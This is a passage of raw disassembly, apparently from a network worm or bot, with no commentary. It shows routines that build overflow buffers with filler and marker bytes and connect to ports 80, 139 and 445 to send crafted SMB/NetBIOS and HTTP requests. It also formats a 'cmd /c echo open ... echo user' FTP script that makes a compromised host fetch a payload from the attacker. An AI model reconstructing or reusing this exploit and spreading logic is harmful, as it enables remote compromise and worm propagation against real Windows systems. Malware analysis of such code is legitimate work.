var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_40195B
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_401F0B
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_401F0B
push esi
lea ecx, [ebp+var_30]
call sub_40195B
lea ecx, [ebp+var_20]
call sub_40195B
lea ecx, [ebp+var_50]
call sub_40195B
lea ecx, [ebp+var_18]
call sub_40195B
lea ecx, [ebp+var_40]
call sub_40195B
lea ecx, [ebp+var_38]
call sub_40195B
lea ecx, [ebp+var_28]
call sub_40195B
push 4
push offset dword_41A5A4
lea ecx, [ebp+var_30]
call sub_401B0B
push 3
push offset dword_41A5AC
lea ecx, [ebp+var_30]
call sub_401B0B
lea ecx, [ebp+var_30]
call sub_401A91
lea ecx, [ebp+var_30]
call sub_401B6C
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_40CC40
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset aRbrbrbrb ; "BBBB"
call sub_401B0B
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_401B0B
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_401B0B
lea ecx, [ebp+var_20]
call sub_401A91
push offset loc_41A938
lea ecx, [ebp+var_50]
call sub_401B3F
lea ecx, [ebp+var_50]
call sub_401A91
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_40CC40
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_401965
lea ecx, [ebp+var_58]
call sub_401A91
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_401BA8
lea ecx, [ebp+var_58]
call sub_4019F4
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_40CC40
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_401B3F
push 4
push offset dword_41A5B0
lea ecx, [ebp+var_18]
call sub_401B0B
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_401B0B
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_401B0B
lea ecx, [ebp+var_18]
call sub_401A91
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_401B5C
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_401B5C
lea ecx, [ebp+var_40]
call sub_401B6C
lea ecx, [ebp+var_18]
call sub_4019F4
lea ecx, [ebp+var_50]
call sub_4019F4
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_401B5C
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_401B5C
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_401B5C
lea ecx, [ebp+var_38]
call sub_401B6C
lea ecx, [ebp+var_20]
call sub_4019F4
lea ecx, [ebp+var_30]
call sub_4019F4
lea ecx, [ebp+var_40]
call sub_4019F4
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_40CC40
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_401B0B
lea ecx, [ebp+var_28]
call sub_401A91
push 2
push offset dword_41A92C
lea ecx, [ebp+var_28]
call sub_401B0B
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_401B5C
lea ecx, [ebp+var_28]
call sub_401B6C
lea ecx, [ebp+var_38]
call sub_4019F4
lea ecx, [ebp+var_10]
call sub_40195B
lea ecx, [ebp+var_8]
call sub_40195B
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_401B5C
lea ecx, [ebp+var_10]
call sub_401A0D
lea ecx, [ebp+var_28]
call sub_4019F4
push offset dword_41A928
lea ecx, [ebp+var_8]
call sub_401B3F
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_401B5C
lea ecx, [ebp+var_8]
call sub_401A0D
lea ecx, [ebp+var_10]
call sub_4019F4
push offset dword_41A924
lea ecx, [ebp+var_10]
call sub_401B3F
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_401B5C
lea ecx, [ebp+var_10]
call sub_401A0D
lea ecx, [ebp+var_8]
call sub_4019F4
push offset dword_41A918
lea ecx, [ebp+var_8]
call sub_401B3F
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_401B5C
lea ecx, [ebp+var_8]
call sub_401A0D
lea ecx, [ebp+var_10]
call sub_4019F4
push offset dword_41A914
lea ecx, [ebp+var_48]
call sub_401B3F
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_401B5C
lea ecx, [ebp+var_8]
call sub_4019F4
pop esi
loc_401F0B: ; CODE XREF: sub_401BC7+1Bj
; sub_401BC7+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop edi
pop ebx
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
leave
retn
sub_401BC7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401F1D proc near ; CODE XREF: sub_401FE1+A2p
; sub_401FE1+C7p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
mov esi, [ebp+arg_0]
lea eax, [ebp+var_8]
push edi
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
xor edi, edi
push eax
lea eax, [esi+1]
inc edi
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
call dword_4181BC ; select
cmp eax, edi
jnz short loc_401F84
lea eax, [ebp+var_10C]
push eax
push esi
call sub_417A78 ; __WSAFDIsSet
test eax, eax
jnz short loc_401F88
loc_401F84: ; CODE XREF: sub_401F1D+54j
xor eax, eax
jmp short loc_401F98
; ---------------------------------------------------------------------------
loc_401F88: ; CODE XREF: sub_401F1D+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_42D890 ; recv
loc_401F98: ; CODE XREF: sub_401F1D+69j
pop edi
pop esi
leave
retn
sub_401F1D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401F9C proc near ; CODE XREF: sub_401FE1+80p
; sub_401FE1+AEp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_42D874 ; htonl
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_42D8C4 ; send
cmp eax, 4
jz short loc_401FC6
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_401FC6: ; CODE XREF: sub_401F9C+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_42D8C4 ; send
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_401F9C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401FE1 proc near ; CODE XREF: sub_4020C0+48p
; sub_4023B8+179p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_40CCCF
mov esi, eax
pop ecx
test esi, esi
jnz short loc_40200A
xor al, al
jmp loc_4020BB
; ---------------------------------------------------------------------------
loc_40200A: ; CODE XREF: sub_401FE1+20j
push ebx
push 0
push esi
call sub_40CC40
push 2Fh
push offset dword_41A640
push esi
call near ptr sub_40C820
push 8
lea eax, [esi+31h]
push offset dword_41A670
push eax
mov [esi+2Fh], di
call near ptr sub_40C820
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call near ptr sub_40C820
push 6
add ebx, edi
push offset dword_4242E4
push ebx
call near ptr sub_40C820
push 85h
push offset dword_41A5B8
push [ebp+arg_0]
call sub_401F9C
add esp, 48h
test al, al
jnz short loc_402071
loc_40206D: ; CODE XREF: sub_401FE1+B8j
xor bl, bl
jmp short loc_4020B2
; ---------------------------------------------------------------------------
loc_402071: ; CODE XREF: sub_401FE1+8Aj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push [ebp+arg_0]
call sub_401F1D
push [ebp+var_4]
push esi
push [ebp+arg_0]
call sub_401F9C
add esp, 1Ch
test al, al
jz short loc_40206D
push 0
lea eax, [ebp+var_104]
push edi
push eax
push [ebp+arg_0]
call sub_401F1D
add esp, 10h
mov bl, 1
loc_4020B2: ; CODE XREF: sub_401FE1+8Ej
push esi
call sub_40CD81
pop ecx
mov al, bl
loc_4020BB: ; CODE XREF: sub_401FE1+24j
pop edi
pop esi
pop ebx
leave
retn
sub_401FE1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4020C0 proc near ; CODE XREF: sub_4023B8+15Fp
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_41A680
push [ebp+arg_0]
call dword_4181B8 ; send
cmp eax, 48h
jnz short loc_4020FB
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_401F1D
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_4020FB
cmp [ebp+var_20], 82h
jz short loc_4020FF
loc_4020FB: ; CODE XREF: sub_4020C0+1Bj
; sub_4020C0+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_4020FF: ; CODE XREF: sub_4020C0+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_401FE1
add esp, 0Ch
leave
retn
sub_4020C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402112 proc near ; CODE XREF: sub_40215E+2Dp
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul dbl_418210
call sub_40CF0C
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul dbl_418208
fstp [esp+10h+var_10]
call sub_40CDEA
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_40CF0C
inc eax
leave
retn
sub_402112 endp
; =============== S U B R O U T I N E =======================================
sub_40215E proc near ; CODE XREF: sub_4022FD+24p
var_40 = qword ptr -40h
mov eax, offset loc_417BD7
call sub_40D3D8
sub esp, 2Ch
push ebx
push esi
push edi
xor edi, edi
mov [ebp-20h], edi
mov al, [ebp+13h]
push edi
lea ecx, [ebp-38h]
mov [ebp-38h], al
call sub_402790
push dword ptr [ebp+10h]
xor ebx, ebx
inc ebx
mov [ebp-4], ebx
call sub_402112
cmp [ebp-2Ch], eax
pop ecx
jnb short loc_4021A0
push edi
push eax
lea ecx, [ebp-38h]
call sub_40270A
loc_4021A0: ; CODE XREF: sub_40215E+36j
cmp [ebp+10h], edi
mov [ebp-18h], edi
jbe loc_4022BE
mov ebx, [ebp+10h]
loc_4021AF: ; CODE XREF: sub_40215E+157j
cmp dword ptr [ebp+10h], 3
jb short loc_4021BA
push 3
loc_4021B7: ; CODE XREF: sub_40215E+64j
pop ebx
jmp short loc_4021CD
; ---------------------------------------------------------------------------
loc_4021BA: ; CODE XREF: sub_40215E+55j
cmp dword ptr [ebp+10h], 2
jnz short loc_4021C4
push 2
jmp short loc_4021B7
; ---------------------------------------------------------------------------
loc_4021C4: ; CODE XREF: sub_40215E+60j
cmp dword ptr [ebp+10h], 1
jnz short loc_4021CD
xor ebx, ebx
inc ebx
loc_4021CD: ; CODE XREF: sub_40215E+5Aj
; sub_40215E+6Aj
mov [ebp-28h], ebx
mov [ebp-24h], edi
fild qword ptr [ebp-28h]
push ecx
push ecx ; double
fmul dbl_418218
fstp [esp+40h+var_40]
call sub_40CF33
pop ecx
pop ecx
call sub_40CF0C
cmp ebx, edi
mov [ebp-1Ch], eax
jbe short loc_40220C
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_40220C: ; CODE XREF: sub_40215E+94j
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
cmp eax, edi
mov [ebp-11h], cl
jbe short loc_40227A
add [ebp-18h], eax
loc_40225E: ; CODE XREF: sub_40215E+11Aj
movsx eax, byte ptr [ebp+esi-14h]
lea ecx, [ebp-38h]
mov al, byte_41A6D0[eax]
push eax
push 1
call sub_40258B
inc esi
cmp esi, [ebp-1Ch]
jb short loc_40225E
loc_40227A: ; CODE XREF: sub_40215E+FBj
cmp dword ptr [ebp-18h], 48h
jb short loc_402298
push dword ptr [ebp+14h]
call sub_40CBC0
pop ecx
push eax
lea ecx, [ebp-38h]
push dword ptr [ebp+14h]
call sub_4025E5
mov [ebp-18h], edi
loc_402298: ; CODE XREF: sub_40215E+120j
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_4022B2
sub esi, [ebp-1Ch]
loc_4022A3: ; CODE XREF: sub_40215E+152j
push 3Dh
push 1
lea ecx, [ebp-38h]
call sub_40258B
dec esi
jnz short loc_4022A3
loc_4022B2: ; CODE XREF: sub_40215E+140j
cmp [ebp+10h], edi
ja loc_4021AF
xor ebx, ebx
inc ebx
loc_4022BE: ; CODE XREF: sub_40215E+48j
mov esi, [ebp+8]
mov al, [ebp-38h]
push edi
mov ecx, esi
mov [esi], al
call sub_402790
push 0FFFFFFFFh
lea eax, [ebp-38h]
push edi
push eax
mov ecx, esi
call sub_40263D
mov [ebp-20h], ebx
and byte ptr [ebp-4], 0
push ebx
lea ecx, [ebp-38h]
call sub_402790
mov ecx, [ebp-0Ch]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40215E endp
; =============== S U B R O U T I N E =======================================
sub_4022FD proc near ; CODE XREF: sub_4023B8+142p
mov eax, offset loc_417BF4
call sub_40D3D8
sub esp, 10h
push ebx
push esi
push edi
push offset byte_4242F0
lea eax, [ebp-1Ch]
push dword ptr [ebp+10h]
xor ebx, ebx
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
push eax
call sub_40215E
mov eax, [ebp+1Ch]
mov ecx, [ebp-14h]
mov byte ptr [ebp-4], 1
lea esi, [ecx+eax+36h]
push esi
call sub_40CCCF
mov edi, eax
add esp, 14h
cmp edi, ebx
jnz short loc_402347
xor bl, bl
jmp short loc_40238B
; ---------------------------------------------------------------------------
loc_402347: ; CODE XREF: sub_4022FD+44j
mov ecx, [ebp-18h]
mov eax, offset dword_418220
cmp ecx, ebx
jnz short loc_402355
mov ecx, eax
loc_402355: ; CODE XREF: sub_4022FD+54j
cmp [ebp+18h], ebx
jz short loc_40235D
mov eax, [ebp+18h]
loc_40235D: ; CODE XREF: sub_4022FD+5Bj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_40D3F7
add esp, 14h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call dword_42D8C4 ; send
cmp eax, esi
jz short loc_402382
xor bl, bl
jmp short loc_402384
; ---------------------------------------------------------------------------
loc_402382: ; CODE XREF: sub_4022FD+7Fj
mov bl, 1
loc_402384: ; CODE XREF: sub_4022FD+83j
push edi
call sub_40CD81
pop ecx
loc_40238B: ; CODE XREF: sub_4022FD+48j
and byte ptr [ebp-4], 0
push 1
lea ecx, [ebp-1Ch]
call sub_402790
or dword ptr [ebp-4], 0FFFFFFFFh
push 1
lea ecx, [ebp+14h]
call sub_402790
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_4022FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4023B8 proc near ; CODE XREF: sub_40154B+17Cp
; DATA XREF: .nsp0:off_41A06Co
var_420 = byte ptr -420h
var_41F = byte ptr -41Fh
var_391 = byte ptr -391h
var_20 = dword ptr -20h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_BB = byte ptr 0C3h
push ebp
mov ebp, esp
sub esp, 420h
and [ebp+var_420], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_41F]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp+var_420]
push offset sub_41A880
push eax
call near ptr sub_40C820
add esp, 0Ch
mov eax, offset byte_41DF08
push eax
push eax
movzx eax, word ptr dword_42D334
push eax
push [ebp+arg_0]
call sub_4058DC
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
lea eax, [ebp+var_391]
push 400h
push eax
call sub_40D3F7
add eax, 90h
push eax
lea eax, [ebp+var_420]
push eax
push 164h
lea eax, [ebp+var_8]
push offset sub_41A718
push eax
call sub_401BC7
xor esi, esi
add esp, 30h
cmp [ebp+var_4], esi
jnz short loc_402456
xor eax, eax
jmp loc_40257E
; ---------------------------------------------------------------------------
loc_402456: ; CODE XREF: sub_4023B8+95j
mov [ebp+var_C], esi
loc_402459: ; CODE XREF: sub_4023B8+1A1j
test esi, esi
jnz loc_40255F
push 6
push 1
push 2
call dword_4181B4 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_402547
xor eax, eax
lea edi, [ebp+var_1A]
stosd
push [ebp+arg_A0]
stosd
stosd
stosw
mov [ebp+var_1C], 2
call dword_42D878 ; htons
mov [ebp+var_1A], ax
lea eax, [ebp+arg_4]
push eax
call dword_42D8B4 ; inet_addr
mov [ebp+var_18], eax
lea eax, [ebp+var_1C]
push 10h
push eax
push ebx
call dword_42D824 ; connect
cmp eax, 0FFFFFFFFh
jz loc_40253C
cmp [ebp+arg_A0], 50h
jnz short loc_402504
mov al, [ebp+arg_BB]
sub esp, 10h
mov esi, esp
mov [ebp+var_20], esp
push 0
mov ecx, esi
mov [esi], al
call sub_402790
lea eax, [ebp+arg_4]
push eax
call sub_40CBC0
pop ecx
push eax
lea eax, [ebp+arg_4]
push eax
mov ecx, esi
call sub_4027C8
push [ebp+var_4]
push [ebp+var_8]
push ebx
call sub_4022FD
add esp, 1Ch
jmp short loc_402539
; ---------------------------------------------------------------------------
loc_402504: ; CODE XREF: sub_4023B8+10Aj
cmp [ebp+arg_A0], 8Bh
jnz short loc_40251E
push [ebp+var_4]
push [ebp+var_8]
push ebx
call sub_4020C0
jmp short loc_402536
; ---------------------------------------------------------------------------
loc_40251E: ; CODE XREF: sub_4023B8+156j
cmp [ebp+arg_A0], 1BDh
jnz short loc_40253C
push [ebp+var_4]
push [ebp+var_8]
push ebx
call sub_401FE1
loc_402536: ; CODE XREF: sub_4023B8+164j
add esp, 0Ch
loc_402539: ; CODE XREF: sub_4023B8+14Aj
movzx esi, al
loc_40253C: ; CODE XREF: sub_4023B8+FDj
; sub_4023B8+170j
push ebx
call dword_42D90C ; closesocket
test esi, esi
jnz short loc_402552
loc_402547: ; CODE XREF: sub_4023B8+BAj
push 3E8h
call dword_418040 ; Sleep
loc_402552: ; CODE XREF: sub_4023B8+18Dj
inc [ebp+var_C]
cmp [ebp+var_C], 2
jl loc_402459
loc_40255F: ; CODE XREF: sub_4023B8+A3j
lea ecx, [ebp+var_8]
call sub_4019F4
test esi, esi
jz short loc_40257C
mov eax, [ebp+arg_A8]
imul eax, 3Ch
lea eax, dword_41A070[eax]
inc dword ptr [eax]
loc_40257C: ; CODE XREF: sub_4023B8+1B1j
mov eax, esi
loc_40257E: ; CODE XREF: sub_4023B8+99j
pop edi
pop esi
pop ebx
leave
retn
sub_4023B8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_417BB8
loc_402583: ; CODE XREF: sub_417BB8+3j
; .nsp0:00417BD1j ...
push 1
call sub_402790
retn
; END OF FUNCTION CHUNK FOR sub_417BB8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40258B proc near ; CODE XREF: sub_40215E+111p
; sub_40215E+14Cp
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, ecx
or eax, 0FFFFFFFFh
push edi
sub eax, [esi+8]
cmp eax, [ebp+arg_0]
ja short loc_4025A2
call sub_417720
loc_4025A2: ; CODE XREF: sub_40258B+10j
cmp [ebp+arg_0], 0
jbe short loc_4025DD
mov edi, [esi+8]
push 0
add edi, [ebp+arg_0]
mov ecx, esi
push edi
call sub_40270A
test al, al
jz short loc_4025DD
movsx eax, [ebp+arg_4]
push [ebp+arg_0]
push eax
mov eax, [esi+4]
add eax, [esi+8]
push eax
call sub_40CC40
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_4025DD: ; CODE XREF: sub_40258B+1Bj
; sub_40258B+2Fj
mov eax, esi
pop edi
pop esi
pop ebp
retn 8
sub_40258B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4025E5 proc near ; CODE XREF: sub_40215E+132p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, ecx
or eax, 0FFFFFFFFh
push edi
sub eax, [esi+8]
cmp eax, [ebp+arg_4]
ja short loc_4025FC
call sub_417720
loc_4025FC: ; CODE XREF: sub_4025E5+10j
cmp [ebp+arg_4], 0
jbe short loc_402635
mov edi, [esi+8]
push 0
add edi, [ebp+arg_4]
mov ecx, esi
push edi
call sub_40270A
test al, al
jz short loc_402635
push [ebp+arg_4]
mov eax, [esi+8]
add eax, [esi+4]
push [ebp+arg_0]
push eax
call near ptr sub_40C820
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_402635: ; CODE XREF: sub_4025E5+1Bj
; sub_4025E5+2Fj
mov eax, esi
pop edi
pop esi
pop ebp
retn 8
sub_4025E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40263D proc near ; CODE XREF: sub_40215E+179p
; sub_41777A+46p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, ecx
cmp [ebx+8], eax
jnb short loc_402655
call sub_41794C
loc_402655: ; CODE XREF: sub_40263D+11j
mov eax, [ebx+8]
mov ecx, [ebp+arg_4]
mov esi, eax
sub esi, ecx
cmp [ebp+arg_8], esi
jnb short loc_402667
mov esi, [ebp+arg_8]
loc_402667: ; CODE XREF: sub_40263D+25j
cmp edi, ebx
jnz short loc_402685
add esi, ecx
push 0FFFFFFFFh
push esi
mov ecx, edi
call sub_4027FD
push [ebp+arg_4]
mov ecx, edi
push 0
call sub_4027FD
jmp short loc_402701
; ---------------------------------------------------------------------------
loc_402685: ; CODE XREF: sub_40263D+2Cj
test esi, esi
jbe short loc_4026C8
cmp esi, eax
jnz short loc_4026C8
mov eax, [ebx+4]
test eax, eax
jnz short loc_402699
mov eax, offset dword_418220
loc_402699: ; CODE XREF: sub_40263D+55j
cmp byte ptr [eax-1], 0FEh
jnb short loc_4026C8
push 1
mov ecx, edi
call sub_402790
mov eax, [ebx+4]
test eax, eax
jnz short loc_4026B4
mov eax, offset dword_418220
loc_4026B4: ; CODE XREF: sub_40263D+70j
mov [edi+4], eax
mov ecx, [ebx+8]
mov [edi+8], ecx
mov ecx, [ebx+0Ch]
mov [edi+0Ch], ecx
inc byte ptr [eax-1]
jmp short loc_402701
; ---------------------------------------------------------------------------
loc_4026C8: ; CODE XREF: sub_40263D+4Aj
; sub_40263D+4Ej ...
push 1
push esi
mov ecx, edi
call sub_40270A
test al, al
jz short loc_402701
mov eax, [ebp+arg_0]
mov eax, [eax+4]
test eax, eax
jnz short loc_4026E5
mov eax, offset dword_418220
loc_4026E5: ; CODE XREF: sub_40263D+A1j
mov ecx, [ebp+arg_4]
push esi
add eax, ecx
push eax
push dword ptr [edi+4]
call near ptr sub_40C820
mov eax, [edi+4]
add esp, 0Ch
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_402701: ; CODE XREF: sub_40263D+46j
; sub_40263D+89j ...
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_40263D endp
; =============== S U B R O U T I N E =======================================
sub_40270A proc near ; CODE XREF: sub_40215E+3Dp
; sub_40258B+28p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp edi, 0FFFFFFFDh
jbe short loc_40271C
call sub_417720
loc_40271C: ; CODE XREF: sub_40270A+Bj
mov eax, [esi+4]
xor edx, edx
cmp eax, edx
jz short loc_402744
mov cl, [eax-1]
cmp cl, dl
jz short loc_402744
cmp cl, 0FFh
jz short loc_402744
cmp edi, edx
mov ecx, esi
jnz short loc_402783
dec byte ptr [eax-1]
push edx
loc_40273B: ; CODE XREF: sub_40270A+48j
call sub_402790
loc_402740: ; CODE XREF: sub_40270A+4Cj
; sub_40270A+53j
xor al, al
jmp short loc_40278B
; ---------------------------------------------------------------------------
loc_402744: ; CODE XREF: sub_40270A+19j
; sub_40270A+20j ...
cmp edi, edx
jnz short loc_40275F
cmp [esp+8+arg_4], dl
jz short loc_402754
push 1
mov ecx, esi
jmp short loc_40273B
; ---------------------------------------------------------------------------
loc_402754: ; CODE XREF: sub_40270A+42j
cmp eax, edx
jz short loc_402740
mov [esi+8], edx
mov [eax], dl
jmp short loc_402740
; ---------------------------------------------------------------------------
loc_40275F: ; CODE XREF: sub_40270A+3Cj
cmp [esp+8+arg_4], dl
jz short loc_40277C
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_402771
cmp eax, edi
jnb short loc_402789
loc_402771: ; CODE XREF: sub_40270A+61j
push 1
mov ecx, esi
call sub_402790
jmp short loc_402781
; ---------------------------------------------------------------------------
loc_40277C: ; CODE XREF: sub_40270A+59j
cmp [esi+0Ch], edi
jnb short loc_402789
loc_402781: ; CODE XREF: sub_40270A+70j
mov ecx, esi
loc_402783: ; CODE XREF: sub_40270A+2Bj
push edi
call sub_402864
loc_402789: ; CODE XREF: sub_40270A+65j
; sub_40270A+75j
mov al, 1
loc_40278B: ; CODE XREF: sub_40270A+38j
pop edi
pop esi
retn 8
sub_40270A endp
; =============== S U B R O U T I N E =======================================
sub_402790 proc near ; CODE XREF: sub_40215E+1Fp
; sub_40215E+16Bp ...
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_4027B8
mov eax, [esi+4]
test eax, eax
jz short loc_4027B8
dec eax
mov cl, [eax]
test cl, cl
jz short loc_4027B1
cmp cl, 0FFh
jz short loc_4027B1
dec byte ptr [eax]
jmp short loc_4027B8
; ---------------------------------------------------------------------------
loc_4027B1: ; CODE XREF: sub_402790+16j
; sub_402790+1Bj
push eax
call sub_40D448
pop ecx
loc_4027B8: ; CODE XREF: sub_402790+8j
; sub_402790+Fj ...
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
pop esi
retn 4
sub_402790 endp
; =============== S U B R O U T I N E =======================================
sub_4027C8 proc near ; CODE XREF: sub_4023B8+136p
; sub_402921+28p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
push 1
push edi
mov esi, ecx
call sub_40270A
test al, al
jz short loc_4027F6
push edi
push [esp+0Ch+arg_0]
push dword ptr [esi+4]
call near ptr sub_40C820
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
